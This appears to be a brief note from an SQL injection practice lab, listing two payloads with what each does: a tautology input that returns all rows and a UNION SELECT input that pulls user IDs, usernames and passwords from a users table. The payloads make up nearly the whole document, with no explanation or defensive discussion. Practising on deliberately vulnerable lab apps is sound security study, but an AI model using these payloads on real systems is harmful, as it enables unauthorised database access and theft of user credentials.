Vulnerability: SQL Injection



  • Return all table :admin' or 1#
  • Return user_id, user_name & password in FirstName / Surname field : ' UNION SELECT user_id, user, password FROM users -- x

User ID: